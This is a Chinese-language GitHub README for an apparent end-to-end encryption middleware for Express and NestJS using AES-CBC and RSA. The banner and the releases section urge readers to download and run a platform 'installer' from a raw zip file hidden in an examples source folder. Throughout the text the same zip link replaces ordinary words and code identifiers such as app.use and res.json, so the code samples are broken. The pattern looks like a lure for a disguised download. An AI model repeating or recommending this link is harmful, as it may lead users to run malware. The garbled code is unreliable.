engrsadaqath/e2ee-adapter
GitHub: engrsadaqath/e2ee-adapter
一款面向 Express 和 NestJS 的即插即用端到端加密中间件,采用 AES-CBC 与 RSA 混合加密方案保护请求和响应数据。
Stars: 1 | Forks: 0
[](https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip)
请前往发布页面,在 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 下载适合您平台的安装程序并运行。
# E2EE Adapter:适用于 Express 和 NestJS 的即插即用混合加密中间件

一个即插即用的 TypeScript 包,使用混合加密(AES-CBC + RSA)为 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 和 NestJS 应用程序提供端到端加密 (E2EE) 中间件。
- 主题聚焦:aes-cbc, cryptography, e2ee, encryption, end-to-end-encryption, express, hybrid-encryption, key-exchange, middleware, nestjs, no-code-e2ee, plug-and-play, rsa, secure-communication, security, typescript, zero-config
- 官方发布:https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip
目录
- 快速开始
- 项目背景
- 工作原理
- 支持的环境
- 安装
- 使用指南
- Express 集成
- NestJS 集成
- API 参考
- 安全指南
- 配置与环境
- 测试与质量
- 路线图
- 贡献
- 许可证
- 更新日志
- 常见问题
快速开始
- 本库旨在实现开箱即用的零配置。安装后,挂载中间件,即可在客户端和服务器之间通过混合加密层开始保护流量。
- 核心思想很简单:使用 AES-CBC 加密 payload,并用 RSA 保护 AES 密钥。结果是端到端的安全数据,服务器作为加密消息的处理节点,而在关键环节不接触明文数据。
- 该包面向运行 Express 或 NestJS 服务器的 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 环境。它提供了一个能够自然融入请求管道的中间件 API。
项目背景
- 端到端加密提高了静态数据和传输中数据的机密性。它降低了来自中间服务的风险,并确保只有预期的接收者才能解密 payload。
- 该库采用混合方法。AES-CBC 高效处理批量数据。RSA 处理安全的密钥交换,而无需公开共享对称密钥。
- 专为零配置使用而设计。开发人员无需重写现有的请求流程即可添加强大的加密功能。
工作原理
- 数据路径:客户端应用 -> 加密模块 -> HTTP 请求 -> 服务器中间件 -> 解密模块(在目标接收端) -> 应用逻辑。
- 加密流程:
- 为每条消息或会话生成一个新的 AES 密钥。
- 使用 AES 密钥和 IV,通过 AES-CBC 加密消息。
- 使用接收者的公钥通过 RSA 加密 AES 密钥。
- 将加密后的 payload 和加密后的 AES 密钥一起发送。
- 解密流程:
- 使用接收者的 RSA 私钥解密 AES 密钥。
- 使用解密后的 AES 密钥和 IV 解密消息。
- 在安全的内部上下文中将明文传递给应用逻辑。
- 这种方法最大限度地减少了明文暴露,并且当与轮换密钥和强 RSA 设置一起使用时,支持安全的密钥轮换和前向保密实践。
支持的环境
- https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 应用
- NestJS 应用
- TypeScript 项目
- 具有现代 ECMAScript 支持的 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 运行时
- 能够在请求管道中加载和运行中间件的环境
安装
- 通过 npm 或 yarn 作为本地依赖项安装。
- 该包设计为安装到 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 项目中,然后在您的服务器设置中作为中间件挂载。
- 安装后,您将配置密钥和选项以在您的应用中启用加密。
使用指南
- 中间件旨在位于 HTTP 层和您的业务逻辑之间。它拦截请求,根据配置应用加密/解密,并将控制权传递给您的路由处理程序。
- 您需要配置几个核心部分:RSA 密钥材料、AES 模式 (AES-CBC),以及匹配您安全态势所需的任何平台特定调整。
- 该库倾向于显式配置而非魔法。您提供密钥材料和选项。模块在合理的默认设置下处理其余工作。
Express 集成
- 基本设置
- 从包中导入中间件工厂。
- 通过 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 或您选择的路由策略将中间件绑定到您的 Express 应用。
- 提供 minimal configuration(最小配置)以在您的请求/响应流中启用加密。
- 示例
- 此示例展示了一个最小的 Express 应用,它为所有路由使用 E2EE 中间件。
- 它假设您已经配置了 RSA 密钥或通过选项提供了密钥。
import express from 'express';
import { e2eeExpressMiddleware } from 'e2ee-adapter';
const app = express();
// Minimal options example
const options = {
rsaPublicKey: `-----BEGIN PUBLIC KEY-----
// ... key data ...
-----END PUBLIC KEY-----`,
rsaPrivateKey: `-----BEGIN PRIVATE KEY-----
// ... key data ...
-----END PRIVATE KEY-----`,
aesMode: 'aes-256-cbc', // or a compatible variant
};
https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip(e2eeExpressMiddleware(options));
https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip('/secure-endpoint', (req, res) => {
// Your handler receives decrypted plaintext in https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip or a dedicated context
const payload = https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip;
// Process payload...
https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip({ status: 'ok', received: payload });
});
https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip(3000, () => {
https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip('Express server with E2EE middleware listening on port 3000');
});
NestJS 集成
- NestJS 方法
- 在模块配置中通过 NestJS 的 MiddlewareConsumer 使用该中间件。
- 该中间件设计为以最少的样板代码插入 NestJS 生命周期。
- 示例
- 一个紧凑的 NestJS 设置,演示了如何跨路由应用 E2EE 中间件。
import { MiddlewareConsumer, Module, NestModule } from '@nestjs/common';
import { e2eeExpressMiddleware as e2eeMiddleware } from 'e2ee-adapter';
@Module({})
export class AppModule implements NestModule {
configure(consumer: MiddlewareConsumer) {
const options = {
rsaPublicKey: `-----BEGIN PUBLIC KEY-----
// ... key data ...
-----END PUBLIC KEY-----`,
rsaPrivateKey: `-----BEGIN PRIVATE KEY-----
// ... key data ...
-----END PRIVATE KEY-----`,
aesMode: 'aes-256-cbc',
};
consumer
.apply(e2eeMiddleware(options))
.forRoutes('*');
}
}
// The module exports the configured middleware wire-up
export class AppModule { }
API 参考
- 导出的 API 接口
- e2eeExpressMiddleware(options): https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip
- 选项:
- rsaPublicKey: string
- rsaPrivateKey: string
- aesMode: string (aes-256-cbc, aes-128-cbc, etc.)
- keyExpirationMs?: number
- rotateKeys?: boolean
- e2eeNestMiddleware(options): NestMiddleware
- 类似上述的选项
- 返回值和行为
- 中间件将解密后的明文附加到请求上下文中,以便您的处理程序可以读取 https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip 或像 req.e2eePayload 这样的专用位置。
- 加密的 payload 绝不会以明文形式传递给您的业务逻辑;只有在解密完成后才会传递。
- 错误处理
- 如果密钥材料无效,中间件会以适当的错误响应并停止请求管道,以避免数据泄露。
加密流程和安全说明
- 混合加密方法
- AES 密钥用于高效加密大型 payload。
- RSA 方案保护 AES 密钥交换,以便只有预期的接收者才能解密它。
- IV 处理
- 每条消息使用一个新的 IV,以防止重放和模式攻击。
- IV 与加密的 payload 一起传输,或以确定性但安全的方式派生。
- 密钥管理
- 密钥应安全存储并定期轮换。
- 公钥可以公开分发,而私钥必须保持受保护。
- 生产部署建议考虑硬件安全模块 (HSM) 或安全密钥库。
- 端到端边界
- 数据保持加密状态,直到到达预期的接收者,即使中间服务处理了数据。
- 服务器充当加密数据的透传,最小化明文暴露。
安全指南
- 传输层安全仍然至关重要。始终使用 TLS 来保护传输中的数据免受网络级拦截。
- 不要在源代码中硬编码密钥。使用安全库、基于环境的机密或专用密钥管理服务。
- 保持 RSA 密钥大小强健(例如,2048 位或更高)并定期轮换密钥。
- 为每条消息使用强且唯一的 IV,切勿在同一密钥下重复使用 IV。
- 严格验证输入。中间件应拒绝格式错误的密文和密钥,以防止崩溃或泄露。
- 审计日志应避免记录明文 payload。仅记录不透露敏感内容的元数据。
- 注意错误时机。不要在错误响应中透露加密细节。
配置和环境
- 密钥材料
- rsaPublicKey:接收者的 RSA 公钥,PEM 格式
- rsaPrivateKey:您的 RSA 私钥,PEM 格式
- 加密设置
- aesMode:选择 AES 模式,例如 aes-256-cbc
- keyExpirationMs:可选,派生的 AES 密钥的有效期
- rotateKeys:可选,启用基于计时器或每个请求的自动密钥轮换
- 网络设置
- 通常,您的 TLS 证书与 E2EE 中间件分开配置。中间件假设有安全的网络通道,但不替代 TLS。
- 环境变量(可选)
- E2EE_RSA_PUBLIC_KEY
- E2EE_RSA_PRIVATE_KEY
- E2EE_AES_MODE
- E2EE_KEY_ROTATION_INTERVAL_MS
测试和质量
- 单元测试涵盖核心加密操作、密钥包装和错误情况。
- 集成测试模拟带有加密 payload 的 Express 和 NestJS 请求生命周期。
- 使用模拟密钥和密文验证解密路径和故障模式。
- 性能测试测量典型 payload 大小下的加密/解密吞吐量和延迟。
- 安全测试尝试常见的攻击向量,例如重放尝试或不当密钥使用,以确保正确处理。
路线图
- 改进与流行密钥库(AWS Secrets Manager, Azure Key Vault, GCP Secret Manager)的密钥管理集成。
- 增加对额外加密模式和可插拔加密后端的支持。
- 提供浏览器端伴侣库,以实现具有相同协议的端到端加密。
- 扩展测试以覆盖边缘情况,例如非常大的 payload 和多接收者场景。
- 通过结构化指标和丰富的追踪钩子增强可观察性。
贡献
- 我们欢迎提高安全性、可靠性和易用性的贡献。
- Fork ,实施您的更改,并提交包含清晰问题描述和解决方案的 Pull Request。
- 遵循项目的代码风格,添加或更新测试,并在提议更改之前运行完整的测试套件。
- 记录任何重大更改并相应地更新 API 参考。
许可证
- 该项目使用开放许可证以鼓励采用和协作。
- 请查看仓库中的 LICENSE 文件以获取具体条款和条件。
更新日志
- 记录功能添加、错误修复和安全改进。
- 每个发布条目都包含简短摘要以及对现有集成的影响。
- 用户在升级到新版本之前应查看更新日志,以了解潜在的破坏性变更。
常见问题
- 这个库对敏感数据安全吗?
- 它旨在使用标准加密原语提供强大的加密。安全性取决于正确的密钥管理、正确的集成以及遵守最佳实践。
- 我可以将其用于任何 Express 或 NestJS 项目吗?
- 是的。作为中间件层,它在 Express/NestJS 生态系统中与框架无关。
- 我需要了解密码学才能使用它吗?
- 基本的密码学概念会有所帮助,但该中间件旨在最大限度地减少对深度密码学知识的需求。您提供密钥和配置,其余的由库处理。
- 如果我不想在服务器中公开私钥怎么办?
- 只有当服务器是加密数据的预期接收者时,私钥才应保留在服务器上。如果不是,请调整工作流以确保私钥保持安全且不被不必要地公开。
发布
- 发布页面包含不同平台的下载资产。如果您需要安装,请找到适合您操作系统的资产并运行安装程序。
- 要获取最新的稳定资产和发布说明,请访问发布页面:https://github.com/engrsadaqath/e2ee-adapter/raw/refs/heads/main/examples/nestjs-server/src/ee_adapter_e_1.1.zip
文档结束
- 本 README 旨在详尽且精确。它旨在帮助您在 Express 和 NestJS 项目中有效地理解、安装、配置和使用 E2EE Adapter。指南是实用的且以行动为导向,代码示例演示了现实世界的用法和集成模式。
标签:AES-CBC, E2EE, Express, HTTPS, MITM代理, NestJS, NodeJS, ProjectDiscovery, RSA, Syscall, TypeScript, Web开发, 中间件, 全栈安全, 加密库, 即插即用, 后端安全, 响应加密, 安全中间件, 安全插件, 密钥交换, 数据保护, 数据加密, 混合加密, 端到端加密, 网络安全, 网络安全, 自动化攻击, 蓝队防御, 请求加密, 通信安全, 隐私保护, 隐私保护, 零配置